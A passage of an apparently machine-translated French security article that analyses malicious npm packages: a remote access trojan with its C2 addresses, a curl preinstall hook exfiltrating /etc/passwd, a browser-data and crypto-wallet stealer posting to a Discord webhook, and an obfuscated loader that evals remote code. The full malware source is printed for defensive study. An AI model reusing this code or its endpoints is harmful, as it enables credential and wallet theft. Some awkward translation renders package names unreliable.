(T.valid = false), (T.message = 'Filename or destination is empty'), T
)
}
const Q = {}
return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q
}
function F(L, M) {
if (!M) {
const O = {}
return (
(O.valid = false),
(O.message = 'User UUID not provided in the command.'),
O
)
}
if (!t[M]) {
const P = {
currentDirectory: __dirname,
commandQueue: [],
stopKey: false,
}
}
const N = t[M]
N.commandQueue.push(L)
G(M)
}
async function G(L) {
let M = t[L]
while (M.commandQueue.length > 0) {
const N = M.commandQueue.shift()
let O = ''
if (N.startsWith('cd')) {
const P = N.slice(2).trim()
try {
process.chdir(M.currentDirectory)
process.chdir(P || '.')
M.currentDirectory = process.cwd()
} catch (Q) {
O = 'Error: ' + Q.message
}
} else {
if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {
const R = E(N)
if (!R.valid) {
O = 'Invalid command format: ' + R.message + '\n'
r.emit('response', O, L)
continue
}
const { filename: S, destination: T } = R
M.stopKey = false
O = ' >> starting upload\n'
if (N.startsWith('ss_upf')) {
B(y(), [f.join(process.cwd(), S)], T, L)
} else {
N.startsWith('ss_upd') && C(y(), f.join(process.cwd(), S), T, L)
}
} else {
if (N.startsWith('ss_dir')) {
process.chdir(__dirname)
M.currentDirectory = process.cwd()
} else {
if (N.startsWith('ss_fcd')) {
const U = N.split(':')
if (U.length < 2) {
O = 'Command is missing ":" separator or parameters'
} else {
const V = U[1]
process.chdir(V)
M.currentDirectory = process.cwd()
}
} else {
if (N.startsWith('ss_stop')) {
M.stopKey = true
} else {
try {
const W = {
cwd: M.currentDirectory,
windowsHide: true,
}
const X = W
if (u) {
try {
const Y = f.join(
process.env.LOCALAPPDATA ||
f.join(d.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
),
Z = { ...process.env }
Z.PATH = Y + ';' + process.env.PATH
X.env = Z
} catch (a0) {}
}
h.exec(N, X, (a1, a2, a3) => {
let a4 = '\n'
a1 && (a4 += 'Error executing command: ' + a1.message)
a3 && (a4 += 'Stderr: ' + a3)
a4 += a2
a4 += M.currentDirectory + '> '
r.emit('response', a4, L)
})
} catch (a1) {
O = 'Error executing command: ' + a1.message
}
}
}
}
}
}
O += M.currentDirectory + '> '
r.emit('response', O, L)
}
}
function H() {
s = z()
A(s)
}
H()
})()
Nous sommes en présence d'un RAT (Remote Access Trojan). En voici un aperçu :
Aperçu du comportement
Le script met en place un canal de communication secret avec un commande et contrôle (C2) serveur utilisant socket.io-client
tout en exfiltrant des fichiers via axios
vers un second point d'arrivée HTTP. Il installe dynamiquement ces modules s'ils sont manquants, en les cachant dans un fichier .node_modules
dans le répertoire personnel de l'utilisateur.
Infrastructure C2
- Communication par sockets:
http://85.239.62[.]36:3306
- Point final de téléchargement de fichiers:
http://85.239.62[.]36:27017/u/f
Une fois connecté, le client envoie au serveur son identifiant unique (nom d'hôte + nom d'utilisateur), son type de système d'exploitation et son identifiant de processus.
Capacités
Voici une liste des capacités (commandes) prises en charge par le RAT.
| Command | Purpose |
| --------------- | ------------------------------------------------------------- |
| cd | Change current working directory |
| ss_dir | Reset directory to script’s path |
| ss_fcd:<path> | Force change directory to <path> |
| ss_upf:f,d | Upload single file f to destination d |
| ss_upd:d,dest | Upload all files under directory d to destination dest |
| ss_stop | Sets a stop flag to interrupt current upload process |
| Any other input | Treated as a shell command, executed via child_process.exec() |
Backdoor : Python3127 PATH Hijack (détournement de PATH)
L'une des caractéristiques les plus subtiles de ce RAT est son utilisation d'un détournement de PATH spécifique à Windows, visant à exécuter discrètement des binaires malveillants sous l'apparence d'outils Python.
Le script construit et ajoute le chemin d'accès suivant au fichier PATH
variable d'environnement avant d'exécuter les commandes de l'interpréteur de commandes:
%LOCALAPPDATA%\Programmes\Python\Python3127
En injectant ce répertoire au début de PATH
toute commande reposant sur des exécutables résolus en fonction de l'environnement (par ex, python
, pip,
etc.) peuvent être silencieusement détournés. Cela est particulièrement efficace sur les systèmes où l'on s'attend déjà à ce que Python soit disponible.
const Y = path.join(
process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
'Programs\NPython\NPython3127'
)
env.PATH = Y + ';' + process.env.PATH
Indicateurs de compromis
À l'heure actuelle, les seuls indicateurs dont nous disposons sont les versions malveillantes, qui sont les suivantes :
- 2.0.84
- 1.0.110
- 2.0.83
| Utilisation | Point de terminaison | Protocole/Méthode
| ------------------ | ------------------------------- | -------------------------- |
| Connexion socket | http://85.239.62[.]36:3306 | socket.io-client |
| Cible de téléchargement de fichier | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |
Si vous avez installé l'un de ces paquets, vous pouvez vérifier s'il a communiqué avec le C2
.png)
Le guide de rencontre des logiciels malveillants : Comprendre les types de logiciels malveillants sur NPM
Le Nœud L'écosystème de l'UE repose sur la confiance - la confiance dans le fait que les paquets de données que vous utilisez ne sont pas des paquets de données. npm install
font ce qu'ils disent faire. Mais cette confiance est souvent mal placée.
Au cours de l'année écoulée, nous avons observé une tendance inquiétante : un nombre croissant de paquets malveillants publiés sur npm, souvent cachés à la vue de tous. Certains sont des preuves de concept rudimentaires réalisées par des chercheurs, d'autres sont des portes dérobées soigneusement conçues. Certains prétendent être des bibliothèques légitimes, d'autres exfiltrent des données sous votre nez en utilisant l'obscurcissement ou des astuces de formatage.
Cet article décompose plusieurs paquets malveillants réels que nous avons analysés. Chacun représente un archétype distinct de technique d'attaque que nous voyons dans la nature. Que vous soyez développeur, membre d'une équipe d'intervention ou ingénieur en sécurité, ces modèles devraient être dans votre ligne de mire.
Le PoC

La plupart des paquets que nous voyons proviennent de chercheurs en sécurité qui n'essaient pas vraiment d'être furtifs. Ils cherchent simplement à prouver quelque chose, souvent dans le cadre d'une chasse aux bogues. Cela signifie que leurs paquets sont généralement très simples, ne contenant souvent aucun code. Ils s'appuient uniquement sur un "crochet de cycle de vie" que les paquets peuvent utiliser, qu'il s'agisse de pré-installation, d'installation ou de post-installation. Ces crochets sont de simples commandes exécutées par le gestionnaire de paquets lors de l'installation.
Exemple : local_editor_top
Voici un exemple de paquet local_editor_top
qui est un paquet que nous avons détecté en raison de son crochet de préinstallation qui affiche le fichier /etc/passwd
à un point de terminaison de Burp Suite Collaborator avec le nom d'hôte en préfixe.
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
Exemple : ccf-identité
Certains chercheurs vont plus loin et appellent un fichier dans le paquet ccf-identité
pour extraire des données. Par exemple, nous avons détecté le paquet, nous avons observé un crochet de cycle de vie, et un fichier javascript avec beaucoup d'indicateurs de l'environnement d'exfiltration :
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
Comme vous pouvez le voir, il appellera le fichier index.js
avant que le processus d'installation du paquet ne commence. Vous trouverez ci-dessous le contenu du fichier.
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
Ces preuves de concept permettent de collecter un grand nombre d'informations, y compris souvent des informations sur les adaptateurs de réseau !
L'imposteur

Si vous avez été attentif, vous avez peut-être remarqué que l'exemple précédent semblait indiquer qu'il s'agissait d'un paquet Microsoft. L'avez-vous remarqué ? Ne vous inquiétez pas, il ne s'agit pas d'un paquet de Microsoft ! Il s'agit plutôt d'un exemple de notre deuxième archétype : L'imposteur.
Un bon exemple en est le paquet demandes-promesses
. Voyons ce qu'il en est package.json
fichier :
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
Vous remarquerez quelque chose d'intéressant. Au premier abord, il s'agit d'un vrai paquet, mais deux indices importants montrent que quelque chose ne va pas :
- Les références Github mentionnent
demande-promesse
c'est-à-dire au singulier. Le nom du paquet est au pluriel. - Il y a un crochet post-installation pour un fichier appelé
lib/rq.js
.
Le paquet semble par ailleurs légitime. Il contient le code attendu du paquet en lib/rp.js
(Remarquez la différence entre rp.js
et rq.js
). Examinons donc ce fichier supplémentaire, lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
Ne vous laissez pas abuser par le fait que le code comporte une fonction appelée makelove
. Il est immédiatement évident que ce code recherchera les caches des navigateurs et les portefeuilles de crypto-monnaie, qu'il enverra au point de terminaison qui est encodé en base64. Une fois décodé, il révèle un webhook Discord.
https ://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
Pas si aimant que ça, finalement.
L'obscurcisseur

Une astuce classique pour éviter la détection consiste à utiliser l'obscurcissement. La bonne nouvelle pour un défenseur est que l'obscurcissement est vraiment bruyante, se fait remarquer comme un pouce douloureux, et est triviale à surmonter dans la plupart des cas. Un exemple de cette situation est le paquet chickenisgood
. En regardant le fichier index.js
nous constatons qu'il est clairement obscurci.
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
Nous pouvons déjà constater qu'elle mentionne des choses telles que checkVirtualMachine
, checkUptime
, isHostnameValid
et d'autres noms qui éveillent les soupçons. Mais pour confirmer pleinement ce qu'il fait, nous pouvons le faire passer par des désobfuscateurs/décodeurs accessibles au public. Et soudain, nous obtenons quelque chose d'un peu plus lisible.
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
Il est clair qu'il collecte beaucoup d'informations sur le système et qu'il enverra une requête HTTP à un moment ou à un autre. Il apparaît également qu'il exécutera du code arbitraire en raison de la présence de la fonction eval() dans les rappels d'une requête HTTP, ce qui témoigne d'un comportement malveillant.
L'illusionniste

Parfois, nous voyons aussi des paquets qui essaient de se cacher de manière vraiment sournoise. Ce n'est pas qu'ils essaient de se cacher en obscurcissant la logique pour la rendre difficile à comprendre. Ils rendent simplement les choses difficiles à voir pour un humain qui n'est pas attentif.
L'un de ces exemples est le paquet htps-curl
. Voici le code vu depuis le site officiel de npm :

Cela semble innocent à première vue, n'est-ce pas ? Mais avez-vous remarqué la barre de défilement horizontale ? Elle essaie de cacher sa véritable charge utile avec des espaces blancs ! Voici le code réel si nous l'embellissons un peu.
console.log('Installed');
try {
